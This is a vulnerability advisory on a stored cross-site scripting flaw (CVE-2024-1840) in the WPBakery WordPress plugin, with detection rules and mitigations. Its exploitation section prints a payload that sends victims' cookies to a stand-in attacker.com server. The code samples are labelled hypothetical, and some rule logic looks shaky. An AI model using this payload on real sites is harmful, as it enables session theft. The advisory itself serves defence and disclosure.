CVE-2024-1840

Executive Summary

CVE-2024-1840 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery plugin for WordPress, affecting all versions up to and including 7.5. The flaw resides in the Post Author tag attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the WPBakery page builder, potentially leading to session hijacking, data theft, or further compromise.

WordPress Ecosystem Context

This vulnerability is specific to the WPBakery plugin within the WordPress ecosystem. It does not affect Apache, Nginx, or other server software. The attack vector relies on WordPress user roles and the plugin's content rendering, making it a WordPress-specific issue.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – Attacker needs contributor-level access or higher.
• User Interaction: Required (UI:R) – A user must visit the compromised page.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Content modification possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and WPBakery increases the real-world risk. The requirement for authenticated access reduces the attack surface but does not eliminate it, especially in multi-author environments.

Deep Dive & Mechanics

The vulnerability exists in the WPBakery plugin's handling of the post_author shortcode attribute. When a user with contributor-level access or higher creates or edits a page using WPBakery, they can insert a [post_author] shortcode with a custom attribute. The plugin fails to properly sanitize and escape the attribute value before rendering it in the HTML output.

Root Cause: The plugin uses the vc_map function to define shortcode parameters but does not apply sufficient input validation or output escaping for the post_author attribute. Specifically, the attribute value is directly concatenated into the HTML without being passed through functions like esc_attr() or wp_kses().

Attack Flow:

1. An authenticated attacker with contributor-level access logs into WordPress.
2. The attacker creates a new page or edits an existing one using the WPBakery editor.
3. The attacker adds a [post_author] shortcode and sets a malicious attribute, e.g., author_name="<script>alert('XSS')</script>".
4. The plugin renders the shortcode, outputting the malicious script into the page's HTML.
5. When any user (including administrators) visits the page, the script executes in their browser.

Impact: Successful exploitation allows the attacker to steal session cookies, redirect users to malicious sites, deface pages, or perform actions on behalf of the victim user. In a WordPress context, this could lead to privilege escalation if an admin's session is hijacked.

Vulnerable vs. Patched Code

Vulnerable Code (WPBakery <= 7.5):

// In vc_templates/post_author.php or similar
$author_name = $atts['author_name'];
echo '<span class="post-author">' . $author_name . '</span>';

Patched Code (Hypothetical fix):

// Properly escaped version
$author_name = esc_html( $atts['author_name'] );
echo '<span class="post-author">' . $author_name . '</span>';

The vulnerable code directly outputs the user-supplied attribute without escaping, allowing HTML and JavaScript injection. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with WPBakery plugin version <= 7.5
• Contributor-level account or higher

Exploitation Steps:

1. Log in to WordPress with a contributor account.
2. Navigate to Pages > Add New.
3. Switch to the WPBakery editor (if not default).
4. Add a "Post Author" element or use the shortcode [post_author].
5. In the element settings, set the "Author Name" attribute to a malicious payload, e.g.:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

6. Publish or save the page.
7. Wait for an administrator or other user to visit the page.
8. The script executes, sending the victim's cookies to the attacker's server.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Note: No public exploit code is available from Exploit-DB or other sources at this time.

Blue Team (Defensive)

Detection and Response:

1. Monitor for unusual shortcode usage in page/post content, especially [post_author] with non-standard attributes.
2. Review WordPress user roles and limit contributor access to trusted users only.
3. Implement Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.
4. Use security plugins like Wordfence or Sucuri to detect and block malicious input.

Lab Setup for Testing:

• Install WordPress 6.x on a local or isolated server.
• Install WPBakery plugin version 7.5.
• Create a contributor user account.
• Follow the Red Team steps to verify the vulnerability.
• Apply the hypothetical patch or upgrade to a fixed version when available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal.php?cookie=...).
  • Suspicious Referer headers from WordPress admin pages.

• Host IOCs:

  • WordPress page/post content containing <script> tags or event handlers (e.g., onload, onerror) within shortcode attributes.
  • Unexpected entries in WordPress wp_posts table with post_content containing [post_author and malicious HTML.

• File IOCs:

  • Modified or suspicious files in /wp-content/plugins/js_composer/ (WPBakery's directory).
  • Log entries in web server access logs showing requests to pages with post_author shortcode.

Detection Engineering

YARA Rule

rule CVE_2024_1840_WPBakery_XSS {
    meta:
        description = "Detects stored XSS payloads targeting WPBakery post_author shortcode"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1840"
        severity = "medium"
    strings:
        $shortcode = /\[post_author[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        $shortcode and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2024-1840 WPBakery Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in WPBakery post_author shortcode
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1840
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'post_author'
            - '<script'
            - 'onload'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of post_author shortcode without XSS
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1840 WPBakery Stored XSS Attempt"; flow:to_server,established; content:"post_author"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WPBakery: If a patched version becomes available, upgrade immediately. Check the WPBakery website or WordPress plugin repository for updates.
2. Restrict User Roles: Limit contributor-level access to only trusted users. Consider disabling the WPBakery editor for contributors if possible.
3. Input Validation: Implement server-side validation to reject shortcode attributes containing HTML or JavaScript.
4. Output Escaping: Ensure all shortcode output is properly escaped using WordPress functions like esc_html(), esc_attr(), or wp_kses().

Long-Term Mitigations:

• Web Application Firewall (WAF): Deploy a WAF (e.g., Cloudflare, ModSecurity) with rules to block XSS payloads.
• Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution.
• Regular Audits: Conduct periodic security audits of WordPress plugins and user roles.
• Backup and Monitoring: Maintain regular backups and monitor for suspicious activity.

Patch Status: As of this report, no official patch has been released. Users should monitor the WPBakery vendor for updates and apply the above mitigations in the interim.

Valters IT